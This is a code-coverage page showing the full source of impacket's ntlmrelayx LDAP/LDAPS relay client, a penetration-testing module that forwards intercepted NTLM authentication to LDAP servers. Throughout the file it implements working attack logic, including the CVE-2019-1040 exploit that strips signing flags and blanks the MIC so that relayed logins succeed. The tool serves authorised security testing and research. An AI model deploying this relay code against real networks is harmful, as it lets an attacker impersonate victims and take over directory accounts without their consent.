Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py : 20%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2#
3# This software is provided under under a slightly modified version
4# of the Apache Software License. See the accompanying LICENSE file
5# for more information.
6#
7# LDAP Protocol Client
8#
9# Author:
10# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
11# Alberto Solino (@agsolino)
12#
13# Description:
14# LDAP client for relaying NTLMSSP authentication to LDAP servers
15# The way of using the ldap3 library is quite hacky, but its the best
16# way to make the lib do things it wasn't designed to without touching
17# its code
18#
19import sys
20from struct import unpack
21from impacket import LOG
22from ldap3 import Server, Connection, ALL, NTLM, MODIFY_ADD
23from ldap3.operation import bind
24try:
25 from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED
26except ImportError:
27 LOG.fatal("ntlmrelayx requires ldap3 > 2.0. To update, use: pip install ldap3 --upgrade")
28 sys.exit(1)
30from impacket.examples.ntlmrelayx.clients import ProtocolClient
31from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
32from impacket.ntlm import NTLMAuthChallenge, NTLMSSP_AV_FLAGS, AV_PAIRS, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION
33from impacket.spnego import SPNEGO_NegTokenResp
35PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"]
37class LDAPRelayClientException(Exception):
38 pass
40class LDAPRelayClient(ProtocolClient):
41 PLUGIN_NAME = "LDAP"
42 MODIFY_ADD = MODIFY_ADD
44 def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True ):
45 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
46 self.extendedSecurity = extendedSecurity
47 self.negotiateMessage = None
48 self.authenticateMessageBlob = None
49 self.server = None
51 def killConnection(self):
52 if self.session is not None:
53 self.session.socket.close()
54 self.session = None
56 def initConnection(self):
57 self.server = Server("ldap://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)
58 self.session = Connection(self.server, user="a", password="b", authentication=NTLM)
59 self.session.open(False)
60 return True
62 def sendNegotiate(self, negotiateMessage):
63 negoMessage = NTLMAuthNegotiate()
64 negoMessage.fromString(negotiateMessage)
66 # When exploiting CVE-2019-1040, remove message signing flag
67 # For SMB->LDAP this is required otherwise it triggers LDAP signing
68 # Changing flags breaks the signature unless the client uses a non-standard implementation of NTLM
69 if self.serverConfig.remove_mic:
70 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
71 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
72 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
73 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
75 self.negotiateMessage = negoMessage.getData()
77 # Warn if the relayed target requests signing, which will break our attack
78 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
79 LOG.warning('The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)')
81 with self.session.connection_lock:
82 if not self.session.sasl_in_progress:
83 self.session.sasl_in_progress = True
84 request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY')
85 response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
86 result = response[0]
87 try:
88 sicily_packages = result['server_creds'].decode('ascii').split(';')
89 except KeyError:
90 raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result)
92 if 'NTLM' in sicily_packages: # NTLM available on server
93 request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self)
94 response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
95 result = response[0]
96 if result['result'] == RESULT_SUCCESS:
97 challenge = NTLMAuthChallenge()
98 challenge.fromString(result['server_creds'])
99 return challenge
100 else:
101 raise LDAPRelayClientException('Server did not offer NTLM authentication!')
103 #This is a fake function for ldap3 which wants an NTLM client with specific methods
104 def create_negotiate_message(self):
105 return self.negotiateMessage
107 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
108 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
109 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
110 token = respToken2['ResponseToken']
111 else:
112 token = authenticateMessageBlob
114 authMessage = NTLMAuthChallengeResponse()
115 authMessage.fromString(token)
116 # When exploiting CVE-2019-1040, remove flags
117 if self.serverConfig.remove_mic:
118 if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
119 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
120 if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
121 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
122 if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
123 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
124 if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
125 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
126 authMessage['MIC'] = b''
127 authMessage['MICLen'] = 0
128 authMessage['Version'] = b''
129 authMessage['VersionLen'] = 0
130 token = authMessage.getData()
132 with self.session.connection_lock:
133 self.authenticateMessageBlob = token
134 request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None)
135 response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
136 result = response[0]
137 self.session.sasl_in_progress = False
139 if result['result'] == RESULT_SUCCESS:
140 self.session.bound = True
141 self.session.refresh_server_info()
142 return None, STATUS_SUCCESS
143 else:
144 if result['result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS':
145 raise LDAPRelayClientException('Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )')
146 return None, STATUS_ACCESS_DENIED
148 #This is a fake function for ldap3 which wants an NTLM client with specific methods
149 def create_authenticate_message(self):
150 return self.authenticateMessageBlob
152 #Placeholder function for ldap3
153 def parse_challenge_message(self, message):
154 pass
156class LDAPSRelayClient(LDAPRelayClient):
157 PLUGIN_NAME = "LDAPS"
158 MODIFY_ADD = MODIFY_ADD
160 def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ):
161 LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
163 def initConnection(self):
164 self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)
165 self.session = Connection(self.server, user="a", password="b", authentication=NTLM)
166 self.session.open(False)
167 return True